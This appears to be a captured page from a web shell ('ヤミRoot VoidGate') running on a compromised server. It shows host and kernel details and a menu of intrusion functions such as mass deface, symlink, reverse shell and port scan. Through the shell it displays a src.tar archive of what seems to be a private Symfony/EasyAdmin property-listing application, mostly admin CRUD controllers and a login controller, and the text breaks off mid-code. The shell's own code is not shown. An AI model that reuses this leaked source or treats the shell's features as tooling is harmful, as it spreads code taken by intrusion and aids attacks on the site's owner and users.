ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: src.tar
Controller/.gitignore 0000644 00000000000 15117152227 0010650 0 ustar 00 Controller/Admin/RoomTypeCrudController.php 0000644 00000004036 15117152227 0015076 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\RoomType; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class RoomTypeCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return RoomType::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), TextField::new('type'), DateTimeField::new('createdAt')->hideOnForm()]; } public function createEntity(string $entityFqcn) { $entity = new RoomType(); $entity->setCreatedAt(new \DateTime()); return $entity; } } Controller/Admin/SubscriptionCrudController.php 0000644 00000005106 15117152227 0016003 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\Subscription; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class SubscriptionCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Subscription::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), AssociationField::new('package'), AssociationField::new('partner'), BooleanField::new('expire')->onlyOnIndex(), DateTimeField::new('createdAt')->onlyOnIndex(), AssociationField::new('createdBy')->onlyOnIndex(), DateTimeField::new('expireAt')->onlyWhenUpdating()->onlyOnIndex(), ]; } public function createEntity(string $entityFqcn) { $entity = new Subscription(); $user=$this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $entity->setCreatedBy($user); return $entity; } } Controller/Admin/TestimonyCrudController.php 0000644 00000003521 15117152227 0015311 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\Testimony; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class TestimonyCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Testimony::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new Testimony(); return $entity; } } Controller/Admin/VisitorCrudController.php 0000644 00000003507 15117152227 0014761 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\User; use App\Entity\Visitor; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class VisitorCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Visitor::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new Visitor(); return $entity; } } Controller/Admin/FirebaseTokenCrudController.php 0000644 00000001726 15117152227 0016044 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\FirebaseToken; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; class FirebaseTokenCrudController extends AbstractCrudController { public static function getEntityFqcn(): string { return FirebaseToken::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), TextField::new('deviseId'), TextField::new('ipAddress'), TextField::new('osModel'), AssociationField::new('company'), AssociationField::new('notificationPushes')->hideOnForm(), DateTimeField::new('createdAt')->hideOnForm(), ]; } } Controller/Admin/NotificationPushCrudController.php 0000644 00000002735 15117152227 0016612 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\NotificationPush; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\ChoiceField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use EasyCorp\Bundle\EasyAdminBundle\Field\UrlField; class NotificationPushCrudController extends AbstractCrudController { public static function getEntityFqcn(): string { return NotificationPush::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('image')->hideOnForm(), UrlField::new('image')->onlyOnForms(), TextField::new('title'), TextField::new('message'), ChoiceField::new('action')->setChoices([ // $value => $badgeStyleName 'url' => 'url', 'activity' => 'activity', ]), TextField::new('actionDestination'), AssociationField::new('firebaseToken'), BooleanField::new('hasBeenSent')->hideOnForm(), DateTimeField::new('createdAt')->hideOnForm(), ]; } } Controller/Admin/AnnounceCrudController.php 0000644 00000010773 15117152227 0015073 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\MediaObject; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use Doctrine\ORM\QueryBuilder; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\ChoiceField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\MoneyField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextareaField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class AnnounceCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Announce::class; } public function configureFields(string $pageName): iterable { $key='announce'; return [ IdField::new('id')->hideOnForm(), ImageField::new('cover') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('titleEn'), TextField::new('titleFr')->hideOnIndex(), ChoiceField::new('locationType')->setChoices([ // $value => $badgeStyleName 'location' => 'location', 'vente' => 'vente', ]), MoneyField::new('amount')->setCurrency("XAF")->setStoredAsCents(false), AssociationField::new('type',"Building Type")->hideOnIndex(), AssociationField::new('cover') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "announce") ; // your query })->onlyOnForms(), AssociationField::new('picture') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "announce") ; // your query })->onlyOnForms(), AssociationField::new('address'), IntegerField::new('numberOfPiece'), IntegerField::new('area'), TextareaField::new('description')->hideOnIndex(), DateTimeField::new('createdAt')->onlyOnIndex(), DateTimeField::new('expiredAt')->onlyOnIndex()->onlyWhenUpdating(), ]; } public function createEntity(string $entityFqcn) { $entity = new Announce(); $user=$this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $entity->setCreatedBy($user); return $entity; } } Controller/Admin/BackgroundCrudController.php 0000644 00000007037 15117152227 0015403 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\Background; use App\Entity\MediaObject; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextareaField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class BackgroundCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Background::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('picture') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('title')->setLabel("Titre Français"), TextField::new('title_en')->setLabel("Title English")->hideOnIndex(), TextareaField::new('message')->setLabel("Description Français")->hideOnIndex(), TextareaField::new('message_en')->setLabel("Description English")->hideOnIndex(), AssociationField::new('picture') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "background") ; // your query })->onlyOnForms(), IntegerField::new('position'), BooleanField::new('active')->setLabel("Visible"), DateTimeField::new('createdAt')->hideOnForm(), ]; } public function createEntity(string $entityFqcn) { $entity = new Background(); $user=$this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $entity->setCreatedBy($user); return $entity; } } Controller/Admin/BuildingCrudController.php 0000644 00000011267 15117152227 0015061 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\Building; use App\Entity\MediaObject; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Config\Option\TextAlign; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\CodeEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextareaField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class BuildingCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Building::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('picture1') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('designation'), TextField::new('code'), IntegerField::new('area',"Area (m²)"), IntegerField::new('numberOfPieces'), AssociationField::new('options'), AssociationField::new('type', "Building Type"), TextareaField::new('description')->hideOnIndex(), AssociationField::new('company'), AssociationField::new('address'), AssociationField::new('picture1') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "building") ; // your query })->hideOnIndex(), AssociationField::new('picture2') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "building") ; // your query })->hideOnIndex(), AssociationField::new('picture3') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "building") ; // your query })->hideOnIndex(), BooleanField::new('active'), DateTimeField::new('createdAt')->hideOnForm(), ]; } public function createEntity(string $entityFqcn) { $entity = new Building(); $user=$this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $entity->setCreatedBy($user); return $entity; } } Controller/Admin/CountryCrudController.php 0000644 00000006723 15117152227 0014770 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\Country; use App\Entity\MediaObject; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use EasyCorp\Bundle\EasyAdminBundle\Field\TimezoneField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class CountryCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Country::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), AssociationField::new('countryFlag') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "countries") ; // your query })->onlyOnForms(), ImageField::new('countryFlag') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('countryName'), TextField::new('capital'), TextField::new('code'), TextField::new('region'), IntegerField::new('callingCode'), IntegerField::new('population'), TimezoneField::new('timeZone'), TextField::new('latitude')->hideOnIndex(), TextField::new('longitude')->hideOnIndex(), AssociationField::new('towns')->onlyOnIndex(), AssociationField::new('paymentProviders')->onlyOnIndex(), IntegerField::new('offSet'), DateTimeField::new('createdAt')->onlyOnIndex(), ]; } public function createEntity(string $entityFqcn) { $entity = new Country(); return $entity; } } Controller/Admin/PaymentOptionCrudController.php 0000644 00000004600 15117152227 0016123 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\BookingRoom; use App\Entity\MediaObject; use App\Entity\PaymentOption; use App\Entity\User; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use function Symfony\Component\String\u; class PaymentOptionCrudController extends AbstractCrudController { private $entityManager; public function __construct( EntityManagerInterface $entityManager) { $this->entityManager=$entityManager; } public static function getEntityFqcn(): string { return PaymentOption::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('picture') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), AssociationField::new('picture') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "payment") ; // your query })->onlyOnForms(), TextField::new('paymentName'), IntegerField::new('rOnly'), AssociationField::new('provider'), AssociationField::new('payments')->hideOnForm(), AssociationField::new('country'), BooleanField::new('isCash'), BooleanField::new('enable'), DateTimeField::new('createdAt')->hideOnForm(), ]; } public function createEntity(string $entityFqcn) { $entity = new PaymentOption(); $entity->setCreatedBy($this->getUser()); $entity->setCreatedAt(new \DateTimeImmutable()); return $entity; } } Controller/Admin/SecurityController.php 0000644 00000026066 15117152227 0014320 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\User; use App\Security\BackendAuthenticator; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Security\Http\Authentication\AuthenticationUtils; class SecurityController extends AbstractController { const LOGIN_ROUTE = ""; private $backAuth; private $entityManager; public function __construct(BackendAuthenticator $backendAuthenticator, EntityManagerInterface $entityManager) { $this->backAuth=$backendAuthenticator; $this->entityManager=$entityManager; } /** * * @Route({"es": "/login","en": "/login"}, name="app_login") */ public function login(AuthenticationUtils $authenticationUtils,Request $request): Response { $error = $authenticationUtils->getLastAuthenticationError(); $lastUsername = $authenticationUtils->getLastUsername(); $local=$request->getLocale(); $body=""; $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button white-text\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button white-text\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button white-text\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button white-text\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button white-text\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="white-text" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } return $this->render('security/login.html.twig', [ // parameters usually defined in Symfony login forms 'error' => $error, 'exception' => $error, 'language' => $language, 'languageChoose' => $body, 'last_username' => $lastUsername, 'companyName' => $this->getParameter('app_client'), 'translation_domain' => 'admin', 'page_title' => 'ACME login', // the string used to generate the CSRF token. If you don't define // this parameter, the login form won't include a CSRF token 'csrf_token_intention' => 'authenticate_token', // the URL users are redirected to after the login (default: '/admin') 'target_path' => $this->generateUrl('admin_dashboard'), // the label displayed for the username form field (the |trans filter is applied to it) 'username_label' => 'Your username', // the label displayed for the password form field (the |trans filter is applied to it) 